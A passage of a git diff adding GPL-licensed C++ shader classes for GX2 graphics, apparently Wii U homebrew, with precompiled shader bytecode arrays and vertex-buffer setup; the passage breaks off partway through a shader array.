* This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __COLOR_SHADER_H_ +#define __COLOR_SHADER_H_ + +#include "VertexShader.h" +#include "PixelShader.h" +#include "FetchShader.h" + +class ColorShader : public Shader +{ +private: + ColorShader(); + virtual ~ColorShader(); + + static const u32 cuAttributeCount = 2; + static const u32 cuPositionVtxsSize = 4 * cuVertexAttrSize; + + static ColorShader *shaderInstance; + + FetchShader *fetchShader; + VertexShader vertexShader; + PixelShader pixelShader; + + f32 *positionVtxs; + + u32 angleLocation; + u32 offsetLocation; + u32 scaleLocation; + u32 colorLocation; + u32 colorIntensityLocation; + u32 positionLocation; +public: + static const u32 cuColorVtxsSize = 4 * cuColorAttrSize; + + static ColorShader *instance() { + if(!shaderInstance) { + shaderInstance = new ColorShader(); + } + return shaderInstance; + } + static void destroyInstance() { + if(shaderInstance) { + delete shaderInstance; + shaderInstance = NULL; + } + } + + void setShaders(void) const + { + fetchShader->setShader(); + vertexShader.setShader(); + pixelShader.setShader(); + } + + void setAttributeBuffer(const u8 * colorAttr, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const + { + if(posVtxs_in && vtxCount) { + VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); + VertexShader::setAttributeBuffer(1, vtxCount * cuColorAttrSize, cuColorAttrSize, colorAttr); + } + else { + VertexShader::setAttributeBuffer(0, cuPositionVtxsSize, cuVertexAttrSize, positionVtxs); + VertexShader::setAttributeBuffer(1, cuColorVtxsSize, cuColorAttrSize, colorAttr); + } + } + + void setAngle(const float & val) + { + VertexShader::setUniformReg(angleLocation, 4, &val); + } + void setOffset(const glm::vec3 & vec) + { + VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); + } + void setScale(const glm::vec3 & vec) + { + VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); + } + void setColorIntensity(const glm::vec4 & vec) + { + PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); + } +}; + +#endif // __COLOR_SHADER_H_ diff --git a/src/video/shaders/FXAAShader.cpp b/src/video/shaders/FXAAShader.cpp new file mode 100644 index 0000000..f86087b --- /dev/null +++ b/src/video/shaders/FXAAShader.cpp @@ -0,0 +1,230 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "FXAAShader.h" + +static const u32 cpVertexShaderProgram[] = +{ + 0x00000000,0x00008009,0x20000000,0x000004a0, + 0x3ca00000,0x88060094,0x00400000,0xff0f2094, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0xfd001f80,0x900c2060,0x0000803f,0x00000000, + 0xc1a229f5,0xd0eddc33,0x426618fd,0x8509cfe7 +}; + +static const u32 cpVertexShaderRegs[] = { + 0x00000102,0x00000000,0x00000000,0x00000001, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0x00000000,0xfffffffe, + 0x00000001,0x00000000,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x00000000,0x0000000e,0x00000010 +}; + +static const u32 cpPixelShaderProgram[] = +{ + 0x20000000,0x00003ca0,0xa0000000,0x000c8080, + 0x30000000,0x000010a1,0xa8000000,0x0010c080, + 0x75000000,0x000088a0,0x00800100,0x88062094, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00241f02,0x1000e00f,0x00241f00,0x1000e02f, + 0x00201f02,0x00000040,0x00201f00,0x00000060, + 0x00011f80,0x10332060,0xff000000,0xff102200, + 0xfd001f00,0x900cc020,0xffc09f01,0x90004040, + 0xffc01f01,0x90000060,0x00051f80,0x1033a040, + 0x0000803f,0x00000000,0xffe00f00,0x90004000, + 0xff008000,0xff102220,0xffe08f00,0x90000440, + 0x010c0000,0x010c4660,0xff008080,0xff004220, + 0x01a01f00,0x00280000,0x01a49f00,0x00280020, + 0x01a81f01,0x00280040,0xfd0c1f00,0x1028e06f, + 0x00208081,0x90002000,0x8716993e,0xa245163f, + 0xd578e93d,0x00000080,0x03a01f00,0x00280000, + 0x03a49f00,0x00280020,0x03a81f01,0x1028e04f, + 0xfd0c1f00,0x00280060,0x00a40081,0x90002020, + 0x8716993e,0xa245163f,0xd578e93d,0x00000080, + 0x04a01f00,0x00280000,0x04a49f00,0x1028a02f, + 0x04a81f01,0x00280040,0xfd0c1f00,0x00280060, + 0x7fcc1f80,0x1000c02f,0x8716993e,0xa245163f, + 0xd578e93d,0x00000080,0x02a01f00,0x1028e00f, + 0x02a49f00,0x00280020,0x02a81f01,0x00280040, + 0xfd0c1f00,0x00280060,0x7fcc1f80,0x1000e02f, + 0x8716993e,0xa245163f,0xd578e93d,0x00000080, + 0x7dc41f00,0x00020000,0x7fec0f01,0x00020020, + 0x7fc81f00,0x00000040,0x7dc41f00,0x00000060, + 0x7fec0f81,0x9001802f,0xfef88f00,0x1000e00f, + 0xfedc8f00,0x00000420,0x7de40f00,0x80010040, + 0x7ec49f01,0x00001060,0xfec41f80,0x10024060, + 0xfed49f00,0x80020000,0xfe141f00,0x900c802f, + 0xfeac1f00,0x80000040,0xfec01f02,0x80020060, + 0x7cc41f81,0x90010060,0x0000003d,0x00000000, + 0xfd001f00,0x900c6000,0xfea89f00,0x80010020, + 0xfec09f81,0x00020040,0x0000803f,0x0000003e, + 0xfec41f81,0x00000020,0xfe041f80,0x00330000, + 0x7fe01f00,0x80000040,0x7ce41f80,0x80000060, + 0xfea81f00,0x80010000,0xfeac1f80,0x80010020, + 0x000000c1,0x00000000,0xfea01f00,0x00020040, + 0xfea41f80,0x00020060,0x00000041,0x00000000, + 0x05c81f01,0x9000e00f,0x01cc9f81,0x9000e06f, + 0xfeac1f00,0x01004200,0xfea01f00,0x01044220, + 0xfeac9f00,0x01002240,0xfea09f00,0x01042260, + 0xfe8c1f80,0x01008600,0xacaa2a3e,0xaaaa2abe, + 0x7f9c1f00,0x0100a200,0x7f801f00,0x01048220, + 0x7f901f80,0x0104a240,0x02080001,0x7000a00f, + 0x02000000,0x7000c04f,0x02048000,0x7000e06f, + 0x01a81f80,0x9000e00f,0xd578e93d,0x00000000, + 0x04a80001,0x1000c00f,0x04a48000,0x00000020, + 0x04a00000,0x00000040,0xfe081f00,0xe00c0060, + 0xfe0c1f80,0xe00c0000,0x01a41f00,0x7f00620f, + 0xfea89f00,0xfe0c822f,0xfea49f00,0xff00a24f, + 0x7d001f80,0xe00c0060,0xa245163f,0x0000803e, + 0x7ea01f00,0xfe0ce20f,0x01a09f80,0xfe006a4f, + 0x0000803e,0x8716993e,0xfe088001,0x9001c00f, + 0xfe488001,0x1002e44f,0xfea01f80,0x80000000, + 0xd578e93d,0x00000000,0x7ca41f00,0x00280000, + 0x7da89f00,0x00280020,0xff201f00,0x00280040, + 0xfd081f80,0x00280060,0x8716993e,0xa245163f, + 0x00000080,0x00000000,0x7fc81f00,0x80060000, + 0xfec00f80,0x80060060,0xfec09f81,0xfb80634f, + 0xfe888f00,0x7e886300,0xfea80f01,0x7f8c6320, + 0xfee80f00,0x7d806340,0xfe680080,0x06846f60, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x10000100,0x01101df0,0x00008010,0xecdfea0d, + 0x10000200,0x03101df0,0x00002050,0xecdfea0d, + 0x10000000,0x04101df0,0x00003071,0xecdfea0d, + 0x10000200,0x02101df0,0x0000b070,0xecdfea0d, + 0x10000200,0x02101df0,0x00008010,0xecdfea0d, + 0x10000100,0x00101df0,0x0000a051,0xecdfea0d, + 0x10000400,0x04101df0,0x00008010,0xecdfea0d, + 0x10000500,0x05101df0,0x00000011,0xecdfea0d, + 0x10000100,0x01101df0,0x00008010,0xecdfea0d, + 0xfe2e963a,0x0269a9a3,0x38f88096,0x400cf48b +}; +static const u32 cpPixelShaderRegs[] = { + 0x00000007,0x00000002,0x04000101,0x00000000, + 0x00000001,0x00000100,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x0000000f,0x00000001,0x00000010, + 0x00000000 +}; + +FXAAShader * FXAAShader::shaderInstance = NULL; + +FXAAShader::FXAAShader() + : vertexShader(cuAttributeCount) +{ + //! create pixel shader + pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); + + resolutionLocation = 0; + pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_VAR_TYPE_VEC2, 1, resolutionLocation, 0xffffffff }); + + samplerLocation = 0; + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + + //! create vertex shader + vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); + + positionLocation = 0; + texCoordLocation = 1; + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + + //! setup attribute streams + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + + //! create fetch shader + fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); + + //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 + posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); + texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); + + //! position vertex structure and texture coordinate vertex structure + int i = 0; + posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + + i = 0; + texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; + texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); +} + +FXAAShader::~FXAAShader() +{ + if(posVtxs) + { + free(posVtxs); + posVtxs = NULL; + } + if(texCoords) + { + free(texCoords); + texCoords = NULL; + } + + delete fetchShader; + fetchShader = NULL; +} diff --git a/src/video/shaders/FXAAShader.h b/src/video/shaders/FXAAShader.h new file mode 100644 index 0000000..b7604bc --- /dev/null +++ b/src/video/shaders/FXAAShader.h @@ -0,0 +1,86 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __FXAA_SHADER_H_ +#define __FXAA_SHADER_H_ + +#include "VertexShader.h" +#include "PixelShader.h" +#include "FetchShader.h" + +class FXAAShader : public Shader +{ +public: + static FXAAShader *instance() { + if(!shaderInstance) { + shaderInstance = new FXAAShader(); + } + return shaderInstance; + } + static void destroyInstance() { + if(shaderInstance) { + delete shaderInstance; + shaderInstance = NULL; + } + } + + void setShaders(void) const + { + fetchShader->setShader(); + vertexShader.setShader(); + pixelShader.setShader(); + } + + void setAttributeBuffer() const + { + VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); + VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); + } + + void setResolution(const glm::vec2 & vec) + { + PixelShader::setUniformReg(resolutionLocation, 4, &vec[0]); + } + + void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { + GX2SetPixelTexture(texture, samplerLocation); + GX2SetPixelSampler(sampler, samplerLocation); + } + +private: + FXAAShader(); + virtual ~FXAAShader(); + + static const u32 cuAttributeCount = 2; + static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; + static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; + + static FXAAShader *shaderInstance; + + FetchShader *fetchShader; + VertexShader vertexShader; + PixelShader pixelShader; + + f32 *posVtxs; + f32 *texCoords; + + u32 samplerLocation; + u32 positionLocation; + u32 texCoordLocation; + u32 resolutionLocation; +}; + +#endif // __FXAA_SHADER_H_ diff --git a/src/video/shaders/FetchShader.h b/src/video/shaders/FetchShader.h new file mode 100644 index 0000000..292052f --- /dev/null +++ b/src/video/shaders/FetchShader.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef FETCH_SHADER_H +#define FETCH_SHADER_H + +#include "Shader.h" + +class FetchShader : public Shader +{ +public: + FetchShader(GX2AttribStream * attributes, u32 attrCount, s32 type = GX2_FETCH_SHADER_TESSELATION_NONE, s32 tess = GX2_TESSELLATION_MODE_DISCRETE) + : fetchShader(NULL) + , fetchShaderProgramm(NULL) + { + u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess); + fetchShaderProgramm = memalign(GX2_SHADER_ALIGNMENT, shaderSize); + if(fetchShaderProgramm) + { + fetchShader = new GX2FetchShader; + GX2InitFetchShaderEx(fetchShader, fetchShaderProgramm, attrCount, attributes, type, tess); + GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, fetchShaderProgramm, shaderSize); + } + } + virtual ~FetchShader() { + if(fetchShaderProgramm) + free(fetchShaderProgramm); + if(fetchShader) + delete fetchShader; + } + + GX2FetchShader *getFetchShader() const { + return fetchShader; + } + + void setShader(void) const { + GX2SetFetchShader(fetchShader); + } + +protected: + GX2FetchShader *fetchShader; + void *fetchShaderProgramm; +}; + +#endif // FETCH_SHADER_H diff --git a/src/video/shaders/PixelShader.h b/src/video/shaders/PixelShader.h new file mode 100644 index 0000000..a1fa76b --- /dev/null +++ b/src/video/shaders/PixelShader.h @@ -0,0 +1,150 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef PIXEL_SHADER_H +#define PIXEL_SHADER_H + +#include "Shader.h" + +class PixelShader : public Shader +{ +public: + PixelShader() + : pixelShader((GX2PixelShader*) memalign(0x40, sizeof(GX2PixelShader))) + { + if(pixelShader) + { + memset(pixelShader, 0, sizeof(GX2PixelShader)); + pixelShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + } + } + virtual ~PixelShader() + { + if(pixelShader) + { + if(pixelShader->shader_data) + free(pixelShader->shader_data); + + for(u32 i = 0; i < pixelShader->uniform_blocks_count; i++) + free((void*)pixelShader->uniform_block[i].name); + + if(pixelShader->uniform_block) + free((void*)pixelShader->uniform_block); + + for(u32 i = 0; i < pixelShader->uniform_vars_count; i++) + free((void*)pixelShader->uniform_var[i].name); + + if(pixelShader->uniform_var) + free((void*)pixelShader->uniform_var); + + if(pixelShader->initial_value) + free((void*)pixelShader->initial_value); + + for(u32 i = 0; i < pixelShader->sampler_vars_count; i++) + free((void*)pixelShader->sampler_var[i].name); + + if(pixelShader->sampler_var) + free((void*)pixelShader->sampler_var); + + if(pixelShader->loops_data) + free((void*)pixelShader->loops_data); + + free(pixelShader); + } + } + + void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) + { + if(!pixelShader) + return; + + //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 + pixelShader->shader_size = programSize; + pixelShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, pixelShader->shader_size); + if(pixelShader->shader_data) + { + memcpy(pixelShader->shader_data, program, pixelShader->shader_size); + GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, pixelShader->shader_data, pixelShader->shader_size); + } + + memcpy(pixelShader->regs, regs, regsSize); + } + + void addUniformVar(const GX2UniformVar & var) + { + if(!pixelShader) + return; + + u32 idx = pixelShader->uniform_vars_count; + + GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + if(newVar) + { + if(pixelShader->uniform_var) + { + memcpy(newVar, pixelShader->uniform_var, pixelShader->uniform_vars_count * sizeof(GX2UniformVar)); + free(pixelShader->uniform_var); + } + pixelShader->uniform_var = newVar; + + memcpy(pixelShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); + pixelShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->uniform_var[idx].name, var.name); + + pixelShader->uniform_vars_count++; + } + } + + void addSamplerVar(const GX2SamplerVar & var) + { + if(!pixelShader) + return; + + u32 idx = pixelShader->sampler_vars_count; + + GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->sampler_vars_count + 1) * sizeof(GX2SamplerVar)); + if(newVar) + { + if(pixelShader->sampler_var) + { + memcpy(newVar, pixelShader->sampler_var, pixelShader->sampler_vars_count * sizeof(GX2SamplerVar)); + free(pixelShader->sampler_var); + } + pixelShader->sampler_var = newVar; + + memcpy(pixelShader->sampler_var + idx, &var, sizeof(GX2SamplerVar)); + pixelShader->sampler_var[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->sampler_var[idx].name, var.name); + + pixelShader->sampler_vars_count++; + } + } + GX2PixelShader * getPixelShader() const { + return pixelShader; + } + + void setShader(void) const { + GX2SetPixelShader(pixelShader); + } + + static inline void setUniformReg(u32 location, u32 size, const void * reg) { + GX2SetPixelUniformReg(location, size, reg); + } +protected: + GX2PixelShader *pixelShader; +}; + +#endif // PIXEL_SHADER_H diff --git a/src/video/shaders/Shader.h b/src/video/shaders/Shader.h new file mode 100644 index 0000000..93741d5 --- /dev/null +++ b/src/video/shaders/Shader.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef SHADER_H_ +#define SHADER_H_ + +#include "glm/glm.hpp" +#include "glm/gtc/matrix_transform.hpp" +#include "dynamic_libs/gx2_functions.h" +#include "utils/utils.h" + +class Shader +{ +protected: + Shader() {} + virtual ~Shader() {} +public: + static const u16 cuVertexAttrSize = sizeof(f32) * 3; + static const u16 cuTexCoordAttrSize = sizeof(f32) * 2; + static const u16 cuColorAttrSize = sizeof(u8) * 4; + + static void setLineWidth(const f32 & width) { + GX2SetLineWidth(width); + } + + static void draw(s32 primitive = GX2_PRIMITIVE_QUADS, u32 vtxCount = 4) + { + switch(primitive) + { + default: + case GX2_PRIMITIVE_QUADS: + { + GX2DrawEx(GX2_PRIMITIVE_QUADS, vtxCount, 0, 1); + break; + } + case GX2_PRIMITIVE_TRIANGLES: + { + GX2DrawEx(GX2_PRIMITIVE_TRIANGLES, vtxCount, 0, 1); + break; + } + case GX2_PRIMITIVE_TRIANGLE_FAN: + { + GX2DrawEx(GX2_PRIMITIVE_TRIANGLE_FAN, vtxCount, 0, 1); + break; + } + case GX2_PRIMITIVE_LINES: + { + GX2DrawEx(GX2_PRIMITIVE_LINES, vtxCount, 0, 1); + break; + } + case GX2_PRIMITIVE_LINE_STRIP: + { + GX2DrawEx(GX2_PRIMITIVE_LINE_STRIP, vtxCount, 0, 1); + break; + } + //! TODO: add other primitives later + }; + } +}; + +#endif // SHADER_H_ diff --git a/src/video/shaders/Shader3D.cpp b/src/video/shaders/Shader3D.cpp new file mode 100644 index 0000000..6857cd1 --- /dev/null +++ b/src/video/shaders/Shader3D.cpp @@ -0,0 +1,266 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "Shader3D.h" + +static const u32 cpVertexShaderProgram[] = +{ + 0x00000000,0x00008009,0x20000000,0x0000e4a1, + 0x00c00100,0x88048093,0x01c00300,0x98060014, + 0x9a000000,0x000058a0,0x3c200200,0x88062094, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, + 0x01081f00,0x900ce040,0x01041f00,0x900ce060, + 0x01001f80,0x900ce000,0x02001f00,0x900c6000, + 0x02041f00,0x900c6020,0x076da101,0x9000e04f, + 0x0769a181,0x9000e06f,0x0745a101,0x9000c00f, + 0x0741a181,0x9000c02f,0x074da101,0x9000c04f, + 0x0749a181,0x9000c06f,0x0bc9a000,0x7f00e20f, + 0x0bc92080,0x7f04e22f,0x0bc9a001,0x7f08e24f, + 0x0bc92081,0x7f0ce26f,0x0725a101,0x9000a00f, + 0x0721a181,0x9000a02f,0x072da101,0x9000a04f, + 0x0729a181,0x9000a06f,0x0ac9a000,0x7e00c20f, + 0x0ac92080,0x7e04c22f,0x0ac9a001,0x7e08c24f, + 0x0ac92081,0x7e0cc26f,0x0ba5a000,0x7f00e20f, + 0x0ba52080,0x7f04e22f,0x0ba5a001,0x7f08e24f, + 0x0ba52081,0x7f0ce26f,0x08eda000,0x9000800f, + 0x08ed2080,0x9000802f,0x08eda001,0x9000804f, + 0x08ed2081,0x9000806f,0x09c9a000,0x7d00a20f, + 0x09c92080,0x7d04a22f,0x09c9a001,0x7d08a24f, + 0x09c92081,0x7d0ca26f,0x0aa5a000,0x7e00c20f, + 0x0aa52080,0x7e04c22f,0x0aa5a001,0x7e08c24f, + 0x0aa52081,0x7e0cc26f,0x0b81a000,0x7f004200, + 0x0b812080,0x7f044220,0x0b81a001,0x7f082240, + 0x0b812081,0x7f0c0260,0x08c9a000,0x7c00820f, + 0x08c92080,0x7c04822f,0x08c9a001,0x7c08824f, + 0x08c92081,0x7c0c826f,0x09a5a000,0x7d00a20f, + 0x09a52080,0x7d04a22f,0x09a5a001,0x7d08a24f, + 0x09a52081,0x7d0ca26f,0x0a81a000,0x7e000200, + 0x0a812080,0x7e040220,0x0a81a001,0x7e080240, + 0x0a812081,0x7e0c2260,0x0240a001,0x9000c00f, + 0x0244a001,0x9000c02f,0x0148a001,0x9000c04f, + 0x004ca001,0x9000c06f,0x0264a081,0x9000e02f, + 0x0260a001,0x9000e00f,0x0224a001,0x90002020, + 0x0168a001,0x9000e04f,0x006ca001,0x9000e06f, + 0x0220a081,0x90002000,0x08a5a000,0x7c00820f, + 0x08a52080,0x7c04822f,0x08a5a001,0x7c08824f, + 0x08a52081,0x7c0c826f,0x0981a000,0x7d008200, + 0x09812080,0x7d048220,0x0981a001,0x7d084240, + 0x09812081,0x7d0c4260,0x02090000,0x7e00c20f, + 0x02098000,0x7e04c22f,0x0128a001,0x9000a04f, + 0x002ca001,0x9000c06f,0x02298081,0x7e0caa6f, + 0x03090000,0x7f00e20f,0x03098000,0x7f04e22f, + 0x02090001,0x7e08f64f,0x03298001,0x7f0ce26f, + 0x03090081,0x7f08ca4f,0x0881a000,0x7c00c200, + 0x08812080,0x7c04e220,0x0881a001,0x7c08a240, + 0x08812081,0x7c0c8260,0x0200a001,0x9000800f, + 0x0204a001,0x9000802f,0x0108a001,0x9000804f, + 0x000ca001,0x9000806f,0x01098080,0x0104aa2f, + 0x01090000,0x0100a20f,0x02858000,0x7e04c22f, + 0x01090001,0x7d08a24f,0x01298081,0x7e0cc26f, + 0x02850000,0x7e00f60f,0x03858000,0x7f04622f, + 0x02450001,0x7f08e24f,0x02458001,0x7d0ca26f, + 0x03850080,0x7f00ca0f,0x00090000,0x7c004200, + 0x00098000,0x7c04b220,0x03450001,0x7e08c24f, + 0x03458001,0x7f0ce26f,0x03e18080,0xfe042620, + 0x01850000,0x7d00a200,0x01858000,0x7d04622f, + 0x00090001,0x7c086240,0x00298081,0x7c0c0260, + 0x02c10000,0x7f000200,0x02e18000,0x7e040620, + 0x01450001,0x7d088240,0x01458001,0x7e0c6260, + 0x01e18080,0xfe04c620,0x03c10000,0x7e002200, + 0x03818001,0x7f0c4220,0x02a10001,0x7f081640, + 0x02818001,0x7d0c3660,0x03a10081,0x7e082a40, + 